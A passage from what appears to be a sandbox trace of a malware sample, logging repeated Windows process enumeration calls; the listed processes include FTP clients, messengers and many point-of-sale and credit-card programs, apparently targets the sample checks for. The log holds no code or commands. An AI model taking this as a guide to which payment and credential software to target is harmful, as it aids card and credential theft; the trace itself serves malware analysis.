pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0081.063] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0081.063] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0081.064] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0081.064] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0081.064] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0081.065] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0081.066] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0081.066] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0081.067] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0081.068] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0081.069] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0081.069] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0081.314] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0081.315] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0081.316] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0081.317] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0081.318] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0081.318] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0081.319] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0081.320] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0081.321] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0081.322] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0081.323] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0081.324] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0081.325] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0081.325] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0081.326] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0081.327] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0081.328] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="wax.exe")) returned 1 [0081.329] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="impressed seven.exe")) returned 1 [0081.330] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="camerasrefine.exe")) returned 1 [0081.331] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.331] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0081.332] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0081.333] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0081.334] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exeXX.exe")) returned 1 [0081.334] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.335] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0081.336] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0081.336] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x25c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0081.337] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xa8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0081.338] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.339] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0081.340] Process32NextW (in: hSnapshot=0x1c4, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0081.341] CloseHandle (hObject=0x1c4) returned 1 [0081.341] Sleep (dwMilliseconds=0x1f4) [0083.205] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1c0 [0083.211] Process32FirstW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0083.211] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0083.212] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0083.213] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0083.214] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0083.215] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0083.215] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0083.216] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0083.217] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0083.218] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0083.219] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.219] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.220] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.221] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.221] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.222] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0083.223] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.224] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.224] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0083.225] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0083.226] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0083.226] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0083.227] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0083.228] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0083.229] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="desiredbarriers.exe")) returned 1 [0083.229] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="forgotten-cats.exe")) returned 1 [0083.230] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aboriginal confused oxford.exe")) returned 1 [0083.231] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="contribution.exe")) returned 1 [0083.232] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="becomesincorporatedinvitation.exe")) returned 1 [0083.232] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="passesbands.exe")) returned 1 [0083.233] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="universe.exe")) returned 1 [0083.234] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="heard_davidson.exe")) returned 1 [0083.234] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x208, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="etc overall adware.exe")) returned 1 [0083.235] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="amy minerals.exe")) returned 1 [0083.236] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="light handmade.exe")) returned 1 [0083.237] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="blond.exe")) returned 1 [0083.237] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="months.exe")) returned 1 [0083.238] Process32NextW (in: hSnapshot=0x1c0, lppe=0x24afaa4 | out: lppe=0x24afaa4*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, 